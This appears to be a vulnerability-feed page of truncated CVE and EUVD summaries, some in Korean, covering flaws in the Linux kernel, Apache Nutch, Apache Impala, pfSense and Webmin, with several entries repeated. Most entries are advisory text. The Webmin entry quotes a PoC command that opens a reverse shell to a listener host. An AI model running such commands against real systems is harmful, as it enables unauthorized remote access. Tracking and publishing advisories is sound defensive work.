CVE-2026-46331

CVE-2026-46331 pedit COW – Linux net/sched 패킷 편집기 페이지 캐시 오염 취약점 요약 CVE-2026-46331 별명 “pedit COW”은 트래픽 제어 하위 시스템의 로컬 Linux 커널 권한 상승 결함입니다. 권한이 없는 사용자권한이 없는 네트워크 네임스페이스는 actpedit 패킷 편집기 필터를 구성하여 부분적인 copy-on-write COW 쓰기 를 페이지 캐시에 트리거할 수 있습니다. 결과적으로 커널은 공격자가 제어하는 데이터를 파일의 메모리 내 이미지에 페이지를 프라이빗으로 표시하...

CVE-2026-41871 Apache Nutch: Unauthenticated reflection-based job execution in Nutch Server (Nutch REST API)

Missing Authorization, Use of Externally-Controlled Input to Select Classes or Code 'Unsafe Reflection' vulnerability in Apache Nutch Server Nutch REST API. This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. I...

CVE-2026-41871

CVE-2026-41871 is a CRITICAL (CVSS 9.8) vulnerability in Apache Nutch Server (the Nutch REST API), affecting versions 1.10 through 1.22 . The root cause is a combination of Missing Authorization and Unsafe Reflection , enabling unauthenticated, reflection-based job execution through externally-co...

CVE-2026-41871 Apache Nutch: Unauthenticated reflection-based job execution in Nutch Server (Nutch REST API)

Missing Authorization, Use of Externally-Controlled Input to Select Classes or Code 'Unsafe Reflection' vulnerability in Apache Nutch Server Nutch REST API. This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. I...

EUVD-2026-74803

Missing Authorization, Use of Externally-Controlled Input to Select Classes or Code 'Unsafe Reflection' vulnerability in Apache Nutch Server Nutch REST API. This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. I...

CVE-2026-41869

CVE-2026-41869 is a Missing Authorization and Improper Resource Shutdown vulnerability in the Nutch Server (REST API) component of Apache Nutch , affecting versions 1.10 through 1.22 . An unauthenticated, remote attacker can force a shutdown or interrupt running jobs via the REST API, causing hig...

EUVD-2026-74802

Missing Authorization, Improper Resource Shutdown and Job Interruption vulnerability in Apache Nutch Server Nutch REST API. This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, use...

CVE-2026-41869 Apache Nutch: Unauthenticated forced shutdown and job interruption in Nutch Server (Nutch REST API)

Missing Authorization, Improper Resource Shutdown and Job Interruption vulnerability in Apache Nutch Server Nutch REST API. This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, use...

CVE-2026-41869 Apache Nutch: Unauthenticated forced shutdown and job interruption in Nutch Server (Nutch REST API)

Missing Authorization, Improper Resource Shutdown and Job Interruption vulnerability in Apache Nutch Server Nutch REST API. This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, use...

CVE-2024-46538

이 취약점을 발견한physicszq님께 감사드립니다. CVE-2024-46538 ★ CVE-2024-46538 PfSense 저장형 XSS로 인한 임의 코드 실행 PoC ★ 설명 CVE-2024-46538 : PfSense 저장형 XSS 취약점 설명: pfsense v2.5.2의 교차 사이트 스크립팅XSS 취약점으로, 공격자가 interfacesgroupsedit.php의 $pconfig 변수에 조작된 payload를 주입하여 임의의 웹 스크립트나 HTML을 실행할 수 있습니다. 실습 환경 설정 취약한 버전v2.5.2 다운로드...

CVE-2026-41870

Apache Nutch Server (Nutch REST API) is vulnerable to unauthenticated remote code execution (RCE) via JEXL injection , stemming from missing authorization and unsafe reflection of externally-controlled input. This affects Apache Nutch versions 1.11 through 1.22 . The vulnerability carries a CVSS ...

EUVD-2026-74801

Missing Authorization, Improper Control of Generation of Code 'Code Injection', Improper Control of Dynamically-Managed Code Resources, Use of Externally-Controlled Input to Select Classes or Code 'Unsafe Reflection' vulnerability in Apache Nutch Server Nutch REST API. This issue affects Apache...

CVE-2026-41870 Apache Nutch: Unauthenticated remote code execution (RCE) via JEXL injection in Nutch Server (Nutch REST API)

Missing Authorization, Improper Control of Generation of Code 'Code Injection', Improper Control of Dynamically-Managed Code Resources, Use of Externally-Controlled Input to Select Classes or Code 'Unsafe Reflection' vulnerability in Apache Nutch Server Nutch REST API. This issue affects Apache...

CVE-2026-41870 Apache Nutch: Unauthenticated remote code execution (RCE) via JEXL injection in Nutch Server (Nutch REST API)

Missing Authorization, Improper Control of Generation of Code 'Code Injection', Improper Control of Dynamically-Managed Code Resources, Use of Externally-Controlled Input to Select Classes or Code 'Unsafe Reflection' vulnerability in Apache Nutch Server Nutch REST API. This issue affects Apache...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc CVE-2019-12840에 대한 독립형 PoC입니다. 아래는 포트 443으로 리버스 셸을 전송합니다. root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | |...

CVE-2026-65181 Apache Impala: RCE via External Data Source Class Loading

Insufficient authorization of Data Source tables in Impala 2.7-4.5 allows a client with privileges to upload a file to remote storage and create a table to execute arbitrary Java code. Users are recommended to upgrade to version 4.5.2, which fixes this issue...

EUVD-2026-74800

Insufficient authorization of Data Source tables in Impala 2.7-4.5 allows a client with privileges to upload a file to remote storage and create a table to execute arbitrary Java code. Users are recommended to upgrade to version 4.5.2, which fixes this issue...

CVE-2026-65181 Apache Impala: RCE via External Data Source Class Loading

Insufficient authorization of Data Source tables in Impala 2.7-4.5 allows a client with privileges to upload a file to remote storage and create a table to execute arbitrary Java code. Users are recommended to upgrade to version 4.5.2, which fixes this issue...

CVE-2026-65181 Apache Impala: RCE via External Data Source Class Loading

Insufficient authorization of Data Source tables in Impala 2.7-4.5 allows a client with privileges to upload a file to remote storage and create a table to execute arbitrary Java code. Users are recommended to upgrade to version 4.5.2, which fixes this issue...

CVE-2026-65181

Apache Impala versions 2.7 through 4.5 are affected by an insufficient authorization flaw in Data Source tables that enables remote code execution (RCE) via external data source class loading . A client with existing privileges can upload a file to remote storage and create a table, which trigger...